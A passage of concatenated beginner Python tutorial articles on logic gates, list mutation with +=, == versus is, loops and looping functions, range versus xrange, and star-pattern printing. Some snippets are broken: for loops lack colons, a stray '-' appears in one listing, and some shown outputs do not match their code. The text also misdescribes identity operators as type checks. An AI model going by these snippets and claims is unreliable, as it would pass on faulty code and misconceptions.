    if a == 1 or b ==1:
        return True
    else:
        return False
 
# Driver code
if __name__=='__main__':
    print(OR(0, 0))
 
    print("+---------------+----------------+")
    print(" | OR Truth Table | Result |")
    print(" A = False, B = False | A OR B =",OR(False,False)," | ")
    print(" A = False, B = True | A OR B =",OR(False,True)," | ")
    print(" A = True, B = False | A OR B =",OR(True,False)," | ")
    print(" A = True, B = True | A OR B =",OR(True,True)," | ")

Output: 
 

False
+---------------+----------------+
 | OR Truth Table |    Result |
 A = False, B = False | A OR B = False  | 
 A = False, B = True  | A OR B = True   | 
 A = True, B = False  | A OR B = True   | 
 A = True, B = True   | A OR B = True   | 

  
4. XOR Gate 
The XOR gate gives an output of 1 if either of the inputs is different, it gives 0 if they are the same. 
 

 

Python3




# Python3 program to illustrate
# working of Xor gate
 
def XOR (a, b):
    if a != b:
        return 1
    else:
        return 0
 
# Driver code
if __name__=='__main__':
    print(XOR(5, 5))
 
    print("+---------------+----------------+")
    print(" | XOR Truth Table | Result |")
    print(" A = False, B = False | A XOR B =",XOR(False,False)," | ")
    print(" A = False, B = True | A XOR B =",XOR(False,True)," | ")
    print(" A = True, B = False | A XOR B =",XOR(True,False)," | ")
    print(" A = True, B = True | A XOR B =",XOR(True,True)," | ")

Output: 
 

0
+---------------+----------------+
 | XOR Truth Table | Result |
 A = False, B = False | A XOR B = 0  | 
 A = False, B = True  | A XOR B = 1  | 
 A = True, B = False  | A XOR B = 1  | 
 A = True, B = True   | A XOR B = 0  | 

  
5. NOT Gate 
It acts as an inverter. It takes only one input. If the input is given as 1, it will invert the result as 0 and vice-versa. 
 

 

Python3




# Python3 program to illustrate
# working of Not gate
 
def NOT(a):
    return not a
# Driver code
if __name__=='__main__':
    print(NOT(0))
 
    print("+---------------+----------------+")
    print(" | NOT Truth Table | Result |")
    print(" A = False | A NOT =",NOT(False)," | ")
    print(" A = True, | A NOT =",NOT(True)," | ")
  

Output: 
 

1
+---------------+----------------+
 | NOT Truth Table | Result |
 A = False | A NOT = 1  | 
 A = True, | A NOT = 0  | 

  
6. NOR Gate 
The NOR gate (negated OR) gives an output of 1 if both inputs are 0, it gives 0 otherwise. 
 

 

Python3




# Python3 program to illustrate
# working of NOR gate
 
def NOR(a, b):
    if(a == 0) and (b == 0):
        return 1
    elif(a == 0) and (b == 1):
        return 0
    elif(a == 1) and (b == 0):
        return 0
    elif(a == 1) and (b == 1):
        return 0
 
# Driver code
if __name__=='__main__':
    print(NOR(0, 0))
 
    print("+---------------+----------------+")
    print(" | NOR Truth Table | Result |")
    print(" A = False, B = False | A NOR B =",NOR(False,False)," | ")
    print(" A = False, B = True | A NOR B =",NOR(False,True)," | ")
    print(" A = True, B = False | A NOR B =",NOR(True,False)," | ")
    print(" A = True, B = True | A NOR B =",NOR(True,True)," | ")

Output: 
 

1
+---------------+----------------+
 | NOR Truth Table |   Result |
 A = False, B = False | A NOR B = 1  | 
 A = False, B = True  | A NOR B = 0  | 
 A = True, B = False  | A NOR B = 0  | 
 A = True, B = True   | A NOR B = 0  | 

  
7. XNOR Gate 
The XNOR gate (negated XOR) gives an output of 1 both inputs are same and 0 if both are different. 
 

 

Python3




# Python3 program to illustrate
# working of Not gate
 
def XNOR(a,b):
    if(a == b):
        return 1
    else:
        return 0
# Driver code
if __name__=='__main__':
    print(XNOR(1,1))
 
    print("+---------------+----------------+")
    print(" | XNOR Truth Table | Result |")
    print(" A = False, B = False | A XNOR B =",XNOR(False,False)," | ")
    print(" A = False, B = True | A XNOR B =",XNOR(False,True)," | ")
    print(" A = True, B = False | A XNOR B =",XNOR(True,False)," | ")
    print(" A = True, B = True | A XNOR B =",XNOR(True,True)," | ")

Output: 
 

1
+---------------+----------------+
 | XNOR Truth Table |  Result |
 A = False, B = False | A XNOR B = 1  | 
 A = False, B = True  | A XNOR B = 0  | 
 A = True, B = False  | A XNOR B = 0  | 
 A = True, B = True   | A XNOR B = 1  | 

 


My Personal Notes arrow_drop_up

Python | a += b is not always a = a + b

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 23 Nov, 2021

In python a += b doesn’t always behave the same way as a = a + b, the same operands may give different results under different conditions. But to understand why they show different behaviors you have to deep dive into the working of variables.

So first, you need to know what happens behinds the scene. 

Creating New Variable:

Python3




a = 10
print(" id of a : ", id(10) ," Value : ", a  )

Output :

id of a :  11094592  Value :  10

Here in the above example, value 10 gets stored in memory and its reference gets assigned to a. 

Modifying The Variable:

Python3




a = 10  # Assigning value to variable creats new object
print(" id of a : ", id(a) ," Value : ", a  )
 
a = a + 10 # Modifying value of variable creats new object
print(" id of a : ", id(a) ," Value : ", a  )
   
a += 10 # Modifying value of variable creats new object
print(" id of a : ", id(a) ," Value : ", a  )

Output : 

id of a :  11094592  Value :  10
id of a :  11094912  Value :  20
id of a :  11095232  Value :  30

As whenever we create or modify int, float, char, string they create new objects and assign their newly created reference to their respective variables.

But the same behavior is not seen in the list

Python3




a = [0, 1] # stores this array in memory and assign its reference to a
print("id of a: ",id(a) , "Value : ", a )
 
a = a + [2, 3] # this will also behave same store data in memory and assign ref. to variable
print("id of a: ",id(a) , "Value : ", a )
 
a += [4, 5]
print("id of a: ",id(a) , "Value : ", a )
 
#But now this will now create new ref. instead this will modify the current object so
# all the other variable pointing to a will also gets changes

 Output: 

id of a:  140266311673864 Value :  [0, 1]
id of a:  140266311673608 Value :  [0, 1, 2, 3]
id of a:  140266311673608 Value :  [0, 1, 2, 3, 4, 5]  

At this point you can see the reason why a = a + b some times different from a += b.

Consider these examples for list manipulation: 
Example 1: 

Python3




list1 = [5, 4, 3, 2, 1]
list2 = list1
list1 += [1, 2, 3, 4] # modifying value in current reference
 
print(list1)
print(list2) # as on line 4 it modify the value without creating new object
             # variable list2 which is pointing to list1 gets changes

Output: 

[5, 4, 3, 2, 1, 1, 2, 3, 4]
[5, 4, 3, 2, 1, 1, 2, 3, 4]

Example 2 

Python3




list1 = [5, 4, 3, 2, 1]
list2 = list1
list1 = list1 + [1, 2, 3, 4]
 
# Contents of list1 are same as above
# program, but contents of list2 are
# different.
print(list1)
print(list2)

Output: 

[5, 4, 3, 2, 1, 1, 2, 3, 4]
[5, 4, 3, 2, 1]

 


My Personal Notes arrow_drop_up

Difference between == and is operator in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

The Equality operator (==) compares the values of both the operands and checks for value equality. Whereas the is’ operator checks whether both the operands refer to the same object or not (present in the same memory location).
 

Python3




# python3 code to 
# illustrate the 
# difference between
# == and is operator
# [] is an empty list
list1 = []
list2 = []
list3=list1
  
if (list1 == list2):
    print("True")
else:
    print("False")
  
if (list1 is list2):
    print("True")
else:
    print("False")
  
if (list1 is list3):
    print("True")
else:    
    print("False")
  
list3 = list3 + list2
  
if (list1 is list3):
    print("True")
else:    
    print("False")

Output: 

True
False
True
False

Python3




list1 = []
list2 = []
  
print(id(list1))
print(id(list2))

Output: 

139877155242696
139877155253640

This shows list1 and list2 refer to different objects.


My Personal Notes arrow_drop_up

Python Membership and Identity Operators

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 16 May, 2022

In this article, we are going to Python Membership and Identity Operators.

Membership Operators

Membership operators are operators used to validate the membership of a value. It tests for membership in a sequence, such as strings, lists, or tuples. 

Python3




# Python program to illustrate
# Finding common member in list
# using 'in' operator
list1 = [1, 2, 3, 4, 5]
list2 = [6, 7, 8, 9]
for item in list1:
    if item in list2:
        print("overlapping")
    else:
        print("not overlapping")
Output
not overlapping
not overlapping
not overlapping
not overlapping
not overlapping

The same example without using in operator:

Python3




# Python program to illustrate
# Finding common member in list
# without  using 'in' operator
 
#  Define a function() that takes two lists
 
 
def overlapping(list1, list2):
 
    c = 0
    d = 0
    for i in list1:
        c += 1
    for i in list2:
        d += 1
    for i in range(0, c):
        for j in range(0, d):
            if(list1[i] == list2[j]):
                return 1
    return 0
 
 
list1 = [1, 2, 3, 4, 5]
list2 = [6, 7, 8, 9]
if(overlapping(list1, list2)):
    print("overlapping")
else:
    print("not overlapping")
Output
not overlapping

Python3




# Python program to illustrate
# not 'in' operator
x = 24
y = 20
list = [10, 20, 30, 40, 50]
 
if (x not in list):
    print("x is NOT present in given list")
else:
    print("x is  present in given list")
 
if (y in list):
    print("y is present in given list")
else:
    print("y is NOT present in given list")

Output:

x is NOT present in given list
y is present in given list

Identity operators

In Python identity operators are used to determine whether a value is of a certain class or type. They are usually used to determine the type of data a certain variable contains. 
There are different identity operators such as 

Python3




# Python program to illustrate the use
# of 'is' identity operator
x = 5
if (type(x) is int):
    print("true")
else:
    print("false")
Output
true

Python3




# Python program to illustrate the
# use of 'is not' identity operator
x = 5
if (type(x) is not int):
    print("true")
else:
    print("false")
 
# Prints True
x = 5.6
if (type(x) is not int):
    print("true")
else:
    print("false")
Output
false
true

My Personal Notes arrow_drop_up

loops in python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Python programming language provides the following types of loops to handle looping requirements. Python provides three ways for executing the loops. While all the ways provide similar basic functionality, they differ in their syntax and condition checking time.

  1. While Loop: 
  2. In python, while loop is used to execute a block of statements repeatedly until a given condition is satisfied. And when the condition becomes false, the line immediately after the loop in the program is executed.

Syntax :

while expression:
    statement(s)

        3. All the statements indented by the same number of character spaces after a programming construct are considered to be part of a single block of code. Python uses indentation as its method of grouping statements. 
            Example: 

Python




# Python program to illustrate
# while loop
count = 0
while (count < 3):    
    count = count + 1
    print("Hello Geek")

Output: 

Hello Geek
Hello Geek
Hello Geek

Python




if condition:
    # execute these statements
else:
    # execute these statements

Python




while condition:
     # execute these statements
else:
     # execute these statements

Python




#Python program to illustrate
# combining else with while
count = 0
while (count < 3):    
    count = count + 1
    print("Hello Geek")
else:
    print("In Else Block")

Output: 

Hello Geek
Hello Geek
Hello Geek
In Else Block

Python




# Python program to illustrate
# Single statement while block
count = 0
while (count == 0): print("Hello Geek")
  1. for in Loop: For loops are used for sequential traversal. For example: traversing a list or string or array etc. In Python, there is no C style for loop, i.e., for (i=0; i<n; i++). There is “for in” loop which is similar to for each loop in other languages. Let us learn how to use for in loop for sequential traversals.

Syntax:

for iterator_var in sequence:
    statements(s)

It can be used to iterate over a range and iterators.

Python3




# Python program to illustrate
# Iterating over range 0 to n-1
  
n = 4
for i in range(0, n):
    print(i)

Output :

0
1
2
3

Python




# Python program to illustrate
# Iterating over a list
print("List Iteration")
l = ["geeks", "for", "geeks"]
for i in l:
    print(i)
       
# Iterating over a tuple (immutable)
print("\nTuple Iteration")
t = ("geeks", "for", "geeks")
for i in t:
    print(i)
       
# Iterating over a String
print("\nString Iteration")    
s = "Geeks"
for i in s :
    print(i)
       
# Iterating over dictionary
print("\nDictionary Iteration")   
d = dict() 
d['xyz'] = 123
d['abc'] = 345
for i in d :
    print("%s  %d" %(i, d[i]))
      
#Iterating over a set
print("\nSet Iteration")
set1 = {1,2,3,4,5,6}
for i in set1:
    print(i),

Output: 

List Iteration
geeks
for
geeks

Tuple Iteration
geeks
for
geeks

String Iteration
G
e
e
k
s

Dictionary Iteration
xyz  123
abc  345

Iterating by the index of sequences: We can also use the index of elements in the sequence to iterate. The key idea is to first calculate the length of the list and in iterate over the sequence within the range of this length. 
See the below example: 

Python




# Python program to illustrate
# Iterating by index
  
list = ["geeks", "for", "geeks"]
for index in range(len(list)):
    print list[index]

Output: 

geeks
for
geeks

Using else statement with for loops: We can also combine else statement with for loop like in while loop. But as there is no condition in for loop based on which the execution will terminate so the else block will be executed immediately after for block finishes execution. 
Below example explains how to do this: 

Python




# Python program to illustrate
# combining else with for
  
list = ["geeks", "for", "geeks"]
for index in range(len(list)):
    print list[index]
else:
    print "Inside Else Block"

Output: 

geeks
for
geeks
Inside Else Block

Nested Loops: Python programming language allows to use one loop inside another loop. Following section shows few examples to illustrate the concept. 
Syntax: 

Python




for iterator_var in sequence:
    for iterator_var in sequence:
        statements(s)
        statements(s)

The syntax for a nested while loop statement in the Python programming language is as follows: 

Python




while expression:
    while expression: 
        statement(s)
        statement(s)

A final note on loop nesting is that we can put any type of loop inside of any other type of loop. For example, a for loop can be inside a while loop or vice versa.

Python




# Python program to illustrate 
# nested for loops in Python
from __future__ import print_function
for i in range(1, 5):
    for j in range(i):
         print(i, end=' ')
    print()

Output: 

1
2 2
3 3 3
4 4 4 4

Loop Control Statements: Loop control statements change execution from their normal sequence. When execution leaves a scope, all automatic objects that were created in that scope are destroyed. Python supports the following control statements. 

Python




# Prints all letters except 'e' and 's'
for letter in 'geeksforgeeks'
    if letter == 'e' or letter == 's':
         continue
    print 'Current Letter :', letter
    var = 10

Output: 

Current Letter : g
Current Letter : k
Current Letter : f
Current Letter : o
Current Letter : r
Current Letter : g
Current Letter : k

Python




for letter in 'geeksforgeeks'
  
    # break the loop as soon it sees 'e' 
    # or 's'
    if letter == 'e' or letter == 's':
         break
  
print 'Current Letter :', letter

Output: 

Current Letter : e

Python




# An empty loop
for letter in 'geeksforgeeks':
    pass
print 'Last Letter :', letter

Output: 

Last Letter : s

How for loop in Python works internally?

Before proceeding to this section, you should have a prior understanding of Python Iterators.

Firstly, lets see how a simple for loop looks like.

Python3




# A simple for loop example
  
fruits = ["apple", "orange", "kiwi"]
  
for fruit in fruits:
  
 print(fruit)
Output
apple
orange
kiwi

Here we can see the for loops iterates over iterable object fruit which is a list. Lists, sets, dictionaries are few iterable objects while an integer object is not an iterable object.

For loops can iterate over any iterable object (example: List, Set, Dictionary, Tuple or String).

Now with the help of the above example, let’s dive deep and see what happens internally here.

  1. Make the list (iterable) an iterable object with help of the iter() function.
  2. Run an infinite while loop and break only if the StopIteration is raised.
  3. In the try block, we fetch the next element of fruits with the next() function.
  4. After fetching the element we did the operation to be performed with the element. (i.e print(fruit))

Python3




fruits = ["apple", "orange", "kiwi"]
  
# Creating an iterator object 
# from that iterable i.e fruits
iter_obj = iter(fruits)
  
# Infinite while loop
while True:
  try:
    # getting the next item
    fruit = next(iter_obj)
    print(fruit)
  except StopIteration:
  
    # if StopIteration is raised, 
    # break from loop
    break
Output
apple
orange
kiwi

We can see that under the hood we are calling iter() and next() method. 

Exercise: How to print a list in reverse order (from last to the first item) using while and for in loops.
This article is contributed by Ashirwad Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. 
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above 


My Personal Notes arrow_drop_up

Loops and Control Statements (continue, break and pass) in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Python programming language provides following types of loops to handle looping requirements.

While Loop

Syntax :
while expression:
    statement(s)

In Python, all the statements indented by the same number of character spaces after a programming construct are considered to be part of a single block of code. Python uses indentation as its method of grouping statements.




# prints Hello Geek 3 Times
count = 0
while (count < 3):    
    count = count+1
    print("Hello Geek")

Output:

Hello Geek
Hello Geek
Hello Geek

See this for an example where while loop is used for iterators. As mentioned in the article, it is not recommended to use while loop for iterators in python.

 

For in Loop

In Python, there is no C style for loop, i.e., for (i=0; i<n; i++). There is “for in” loop which is similar to for each loop in other languages.

Syntax:

for iterator_var in sequence:
    statements(s)

It can be used to iterate over iterators and a range.




# Iterating over a list
print("List Iteration")
l = ["geeks", "for", "geeks"]
for i in l:
    print(i)
       
# Iterating over a tuple (immutable)
print("\nTuple Iteration")
t = ("geeks", "for", "geeks")
for i in t:
    print(i)
       
# Iterating over a String
print("\nString Iteration")    
s = "Geeks"
for i in s :
    print(i)
       
# Iterating over dictionary
print("\nDictionary Iteration")   
d = dict() 
d['xyz'] = 123
d['abc'] = 345
for i in d :
    print("%s  %d" %(i, d[i]))

Output:

List Iteration
geeks
for
geeks

Tuple Iteration
geeks
for
geeks

String Iteration
G
e
e
k
s

Dictionary Iteration
xyz  123
abc  345

We can use for in loop for user defined iterators. See this for example.

 

Nested Loops

Python programming language allows to use one loop inside another loop. Following section shows few examples to illustrate the concept.
Syntax:
for iterator_var in sequence:
    for iterator_var in sequence:
        statements(s)
        statements(s)

The syntax for a nested while loop statement in Python programming language is as follows:

while expression:
    while expression: 
        statement(s)
        statement(s)

A final note on loop nesting is that we can put any type of loop inside of any other type of loop. For example a for loop can be inside a while loop or vice versa.




from __future__ import print_function
for i in range(1, 5):
    for j in range(i):
         print(i, end=' ')
    print()

Output:

1
2 2
3 3 3
4 4 4 4

Loop Control Statements

Loop control statements change execution from its normal sequence. When execution leaves a scope, all automatic objects that were created in that scope are destroyed. Python supports the following control statements.

Continue Statement
It returns the control to the beginning of the loop.




# Prints all letters except 'e' and 's'
for letter in 'geeksforgeeks'
    if letter == 'e' or letter == 's':
         continue
    print 'Current Letter :', letter
    var = 10

Output:

Current Letter : g
Current Letter : k
Current Letter : f
Current Letter : o
Current Letter : r
Current Letter : g
Current Letter : k

Break Statement
It brings control out of the loop




for letter in 'geeksforgeeks'
  
    # break the loop as soon it sees 'e' 
    # or 's'
    if letter == 'e' or letter == 's':
         break
  
print 'Current Letter :', letter

Output:

Current Letter : e

Pass Statement
We use pass statement to write empty loops. Pass is also used for empty control statement, function and classes.




# An empty loop
for letter in 'geeksforgeeks':
    pass
print 'Last Letter :', letter

Output:

Last Letter : s

Exercise:
How to print a list in reverse order (from last to first item) using while and for in loops.

This article is contributed by Ashirwad Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Looping Techniques in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 29 Mar, 2022

Python supports various looping techniques by certain inbuilt functions, in various sequential containers. These methods are primarily very useful in competitive programming and also in various projects which require a specific technique with loops maintaining the overall structure of code.  A lot of time and memory space is been saved as there is no need to declare the extra variables which we declare in the traditional approach of loops.

Where they are used?

Different looping techniques are primarily useful in the places where we don’t need to actually manipulate the structure and order of the overall containers, rather only print the elements for a single-use instance, no in-place change occurs in the container. This can also be used in instances to save time.

Different looping techniques using Python data structures  are: 

Python3




# python code to demonstrate working of enumerate()
 
for key, value in enumerate(['The', 'Big', 'Bang', 'Theory']):
    print(key, value)

Output:

0 The
1 Big
2 Bang
3 Theory

Python3




# python code to demonstrate working of enumerate()
 
for key, value in enumerate(['Geeks', 'for', 'Geeks',
                             'is', 'the', 'Best',
                             'Coding', 'Platform']):
    print(value, end=' ')

Output:

Geeks for Geeks is the Best Coding Platform 

Python3




# python code to demonstrate working of zip()
 
# initializing list
questions = ['name', 'colour', 'shape']
answers = ['apple', 'red', 'a circle']
 
# using zip() to combine two containers
# and print values
for question, answer in zip(questions, answers):
    print('What is your {0}?  I am {1}.'.format(question, answer))

Output:

What is your name?  I am apple.
What is your color?  I am red.
What is your shape?  I am a circle.

Example 1:

Python3




# python code to demonstrate working of items()
 
d = {"geeks": "for", "only": "geeks"}
 
# iteritems() is renamed to items() in python3
# using items to print the dictionary key-value pair
print("The key value pair using items is : ")
for i, j in d.items():
    print(i, j)

Output:

The key value pair using iteritems is : 
geeks for
only geeks
The key value pair using items is : 
geeks for
only geeks

Example 2:

Python3




# python code to demonstrate working of items()
 
king = {'Akbar': 'The Great', 'Chandragupta': 'The Maurya',
        'Modi': 'The Changer'}
 
# using items to print the dictionary key-value pair
for key, value in king.items():
    print(key, value)

Output:

Akbar The Great
Chandragupta The Maurya
Modi The Changer

Example 1:

Python3




# python code to demonstrate working of sorted()
 
# initializing list
lis = [1, 3, 5, 6, 2, 1, 3]
 
# using sorted() to print the list in sorted order
print("The list in sorted order is : ")
for i in sorted(lis):
    print(i, end=" ")
 
print("\r")
 
# using sorted() and set() to print the list in sorted order
# use of set() removes duplicates.
print("The list in sorted order (without duplicates) is : ")
for i in sorted(set(lis)):
    print(i, end=" ")

Output:

The list in sorted order is : 
1 1 2 3 3 5 6 
The list in sorted order (without duplicates) is : 
1 2 3 5 6 

Example 2:

Python3




# python code to demonstrate working of sorted()
 
# initializing list
basket = ['guave', 'orange', 'apple', 'pear',
          'guava', 'banana', 'grape']
 
# using sorted() and set() to print the list
#  in sorted order
for fruit in sorted(set(basket)):
    print(fruit)

Output:

apple
banana
grape
guava
guave
orange
pear

Example 1:

Python3




# python code to demonstrate working of reversed()
 
# initializing list
lis = [1, 3, 5, 6, 2, 1, 3]
 
 
# using reversed() to print the list in reversed order
print("The list in reversed order is : ")
for i in reversed(lis):
    print(i, end=" ")

Output:

The list in reversed order is : 
3 1 2 6 5 3 1 

Example 2:

Python3




# python code to demonstrate working of reversed()
 
# using reversed() to print in reverse order
for i in reversed(range(1, 10, 3)):
    print(i)

Output:

7
4
1


My Personal Notes arrow_drop_up

range() vs xrange() in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

The range() and xrange() are two functions that could be used to iterate a certain number of times in for loops in Python. In Python 3, there is no xrange, but the range function behaves like xrange in Python 2. If you want to write code that will run on both Python 2 and Python 3, you should use range().

Both are implemented in different ways and have different characteristics associated with them. The points of comparison are: 

Return Type

range() returns – range object. 
xrange() returns – xrange() object. 

Python




# Python code to demonstrate range() vs xrange()
# on  basis of return type
  
# initializing a with range()
a = range(1,10000)
  
# initializing a with xrange()
x = xrange(1,10000)
  
# testing the type of a
print ("The return type of range() is : ")
print (type(a))
  
# testing the type of x
print ("The return type of xrange() is : ")
print (type(x))

Output:

The return type of range() is : 
<type 'list'>
The return type of xrange() is : 
<type 'xrange'>

Memory

The variable storing the range created by range() takes more memory as compared to the variable storing the range using xrange(). The basic reason for this is the return type of range() is list and xrange() is xrange() object. 

Python




# Python code to demonstrate range() vs xrange()
# on  basis of memory
  
import sys
  
# initializing a with range()
a = range(1,10000)
  
# initializing a with xrange()
x = xrange(1,10000)
  
# testing the size of a
# range() takes more memory
print ("The size allotted using range() is : ")
print (sys.getsizeof(a))
  
# testing the size of x
# xrange() takes less memory
print ("The size allotted using xrange() is : ")
print (sys.getsizeof(x))

Output: 

The size allotted using range() is : 
80064
The size allotted using xrange() is : 
40

Operations Usage

As range() returns the list, all the operations that can be applied on the list can be used on it. On the other hand, as xrange() returns the xrange object, operations associated to list cannot be applied on them, hence a disadvantage.

Python




# Python code to demonstrate range() vs xrange()
# on  basis of operations usage 
  
# initializing a with range()
a = range(1,6)
  
# initializing a with xrange()
x = xrange(1,6)
  
# testing usage of slice operation on range()
# prints without error
print ("The list after slicing using range is : ")
print (a[2:5])
  
# testing usage of slice operation on xrange()
# raises error
print ("The list after slicing using xrange is : ")
print (x[2:5])

Error: 

Traceback (most recent call last):
  File "1f2d94c59aea6aed795b05a19e44474d.py", line 18, in 
    print (x[2:5])
TypeError: sequence index must be integer, not 'slice'

Output: 

The list after slicing using range is : 
[3, 4, 5]
The list after slicing using xrange is : 

Speed

Because of the fact that xrange() evaluates only the generator object containing only the values that are required by lazy evaluation, therefore is faster in implementation than range().

Important Points: 

range()xrange()
Returns a list of integers.Returns a generator object.
Execution speed is slowerExecution speed is faster.
Takes more memory as it keeps the entire list of elements in memory.Takes less memory as it keeps only one element at a time in memory.
All arithmetic operations can be performed as it returns a list.Such operations cannot be performed on xrange().
In python 3, xrange() is not supported.In python 2, xrange() is used to iterate in for loops.

This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Programs for printing pyramid patterns in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 18 Dec, 2021
 

Patterns can be printed in python using simple for loops. First outer loop is used to handle number of rows and Inner nested loop is used to handle the number of columns. Manipulating the print statements, different number patterns, alphabet patterns or star patterns can be printed. 
Some of the Patterns are shown in this article. 

Python3




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern
def pypart(n):
     
    # outer loop to handle number of rows
    # n in this case
    for i in range(0, n):
     
        # inner loop to handle number of columns
        # values changing acc. to outer loop
        for j in range(0, i+1):
         
            # printing stars
            print("* ",end="")
      
        # ending line after each row
        print("\r")
 
# Driver Code
n = 5
pypart(n)
Output
* 
* * 
* * * 
* * * * 
* * * * * 

Python




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern
def pypart(n):
    myList = []
    for i in range(1,n+1):
        myList.append("*"*i)
    print("\n".join(myList))
 
# Driver Code
n = 5
pypart(n)
Output
*
**
***
****
*****
 

Python3




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern
def pypart2(n):
     
    # number of spaces
    k = 2*n - 2
 
    # outer loop to handle number of rows
    for i in range(0, n):
     
        # inner loop to handle number spaces
        # values changing acc. to requirement
        for j in range(0, k):
            print(end=" ")
     
        # decrementing k after each loop
        k = k - 2
     
        # inner loop to handle number of columns
        # values changing acc. to outer loop
        for j in range(0, i+1):
         
            # printing stars
            print("* ", end="")
     
        # ending line after each row
        print("\r")
 
# Driver Code
n = 5
pypart2(n)
Output
        * 
      * * 
    * * * 
  * * * * 
* * * * * 

Python3




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern triangle
def triangle(n):
     
    # number of spaces
    k = n - 1
 
    # outer loop to handle number of rows
    for i in range(0, n):
     
        # inner loop to handle number spaces
        # values changing acc. to requirement
        for j in range(0, k):
            print(end=" ")
     
        # decrementing k after each loop
        k = k - 1
     
        # inner loop to handle number of columns
        # values changing acc. to outer loop
        for j in range(0, i+1):
         
            # printing stars
            print("* ", end="")
     
        # ending line after each row
        print("\r")
 
# Driver Code
n = 5
triangle(n)
Output
    * 
   * * 
  * * * 
 * * * * 
* * * * * 

Python3




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern of numbers
def numpat(n):
     
    # initialising starting number
    num = 1
 
    # outer loop to handle number of rows
    for i in range(0, n):
     
        # re assigning num
        num = 1
     
        # inner loop to handle number of columns
            # values changing acc. to outer loop
        for j in range(0, i+1):
         
                # printing number
            print(num, end=" ")
         
            # incrementing number at each column
            num = num + 1
     
        # ending line after each row
        print("\r")
 
# Driver code
n = 5
numpat(n)
Output
1 
1 2 
1 2 3 
1 2 3 4 
1 2 3 4 5 

Python3




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern of numbers
def contnum(n):
     
    # initializing starting number
    num = 1
 
    # outer loop to handle number of rows
    for i in range(0, n):
     
        # not re assigning num
        # num = 1
     
        # inner loop to handle number of columns
        # values changing acc. to outer loop
        for j in range(0, i+1):
         
            # printing number
            print(num, end=" ")
         
            # incrementing number at each column
            num = num + 1
     
        # ending line after each row
        print("\r")
 
n = 5
 
# sending 5 as argument
# calling Function
contnum(n)
Output
1 
2 3 
4 5 6 
7 8 9 10 
11 12 13 14 15 

Python3




# Python 3.x code to demonstrate star pattern
 
# Function to demonstrate printing pattern of alphabets
def alphapat(n):
     
    # initializing value corresponding to 'A'
    # ASCII value
    num = 65
 
    # outer loop to handle number of rows
    # 5 in this case
    for i in range(0, n):
     
        # inner loop to handle number of columns
        # values changing acc. to outer loop
        for j in range(0, i+1):
         
            # explicitly converting to char
            ch = chr(num)
         
            # printing char value
            print(ch, end=" ")
     
        # incrementing number
        num = num + 1
     
        # ending line after each row
        print("\r")
 
# Driver Code
n = 5
alphapat(n)
Output
A 
B B 
C C C 
D D D D 
E E E E E 

Python3




# Python code 3.x to demonstrate star pattern
 
# Function to demonstrate printing pattern of alphabets
def  contalpha(n):
     
    # initializing value corresponding to 'A'
    # ASCII value
    num = 65
 
    # outer loop to handle number of rows
-   for i in range(0, n):
     
        # inner loop to handle number of columns
        # values changing acc. to outer loop
        for j in range(0, i+1):
         
            # explicitly converting to char
            ch = chr(num)
         
            # printing char value
            print(ch, end=" ")
         
            # incrementing at each column
            num = num +1
     
     
        # ending line after each row
        print("\r")
 
# Driver code
n = 5
contalpha(n)
A 
B C 
D E F 
G H I J 
K L M N O

This article is contributed by Manjeet Singh(S.Nupur) . If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.

 

 
 


My Personal Notes arrow_drop_up

Chaining comparison operators in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 17 May, 2022

Checking more than two conditions is very common in Programming Languages. Let’s say we want to check the below condition:

a < b < c

The most common syntax to do it is as follows:

if a < b and b < c :
   {...}

In Python, there is a better way to write this using Comparison operator Chaining. The chaining of operators can be written as follows:

if a < b < c :
    {.....}

According to associativity and precedence in Python, all comparison operations in Python have the same priority, which is lower than that of any arithmetic, shifting, or bitwise operation. Also unlike C, expressions like a < b < c have the interpretation that is conventional in mathematics. List of comparison operators in Python:

">" | "<" | "==" | ">=" | "<=" | "!=" | "is" ["not"] | ["not"] "in"

Chaining in Comparison Operators:

  1. Comparisons yield boolean values: True or False.
  2. Comparisons can be chained arbitrarily. For example:
x < y <= z is equivalent to x < y and y <= z, 
  1. except that y is evaluated only once. (but in both cases z is not evaluated at all when x < y is found to be false).
  2. Formally, if a, b, c, …, y, z are expressions and op1, op2, …, opN are comparison operators, then a op1 b op2 c … y opN z is equivalent to a op1 b and b op2 c and … y opN z, except that each expression is evaluated at most once.
  3. Also,
a op1 b op2 c 

It doesn’t imply any kind of comparison between a and c, so

 a < b > c

is perfectly legal.

Python




# Python code to illustrate
# chaining comparison operators
x = 5
print(1 < x < 10)
print(10 < x < 20 )
print(x < 10 < x*10 < 100)
